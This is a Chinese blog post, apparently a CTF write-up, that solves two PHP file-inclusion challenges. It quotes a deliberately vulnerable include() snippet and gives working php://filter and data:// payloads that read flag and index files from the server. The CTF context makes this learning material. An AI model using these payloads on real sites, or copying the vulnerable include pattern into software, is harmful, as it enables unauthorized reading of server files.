文件包含的提升刷题

发布时间:2023年12月19日

上一篇文章:一篇文章带你入门文件包含-CSDN博客

已经开始入门了文件包含,那现在开始拔高提升刷题!

1.

拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。

直接看if的条件就可以知道一定要设置cookie,因为这里存在着文件包含,

看来我上一篇文章的就知道,直接伪协议开始读取,

?file=php://filter/read=convert.base64-encode/resource=xxx.php

这个是基本的格式啊,

这里因为要写入cookie,而且首页还提示了网站首页目录??/var/www/html/index.php,

那就稍作修改,抓包,添加cookie并且写入

?language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

(2)

WRONG WAY!?<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"])?&&?isset($_GET["file2"]))
{
????$file1?=?$_GET["file1"];
????$file2?=?$_GET["file2"];
????if(!empty($file1)?&&?!empty($file2))
????{
????????if(file_get_contents($file2)?===?"hello?ctf")
????????{
????????????include($file1);
????????}
????}
????else
????????die("NONONO");
}

提示:PHP file_get_contents () 函数

  • 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  • 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
  • 其实就是存在两个文件,file1直接伪协议直接读取flag.php,没啥意思,file2就是伪协议,写入 hello ctf?
  • ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
  • 这个payload在上一篇文章开头就有类似的,需要可以自行复制
  • ?上一篇文章:一篇文章带你入门文件包含-CSDN博客

  • 祝大家CTF玩的开心

文章来源:https://blog.csdn.net/csjjjd/article/details/135058264
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。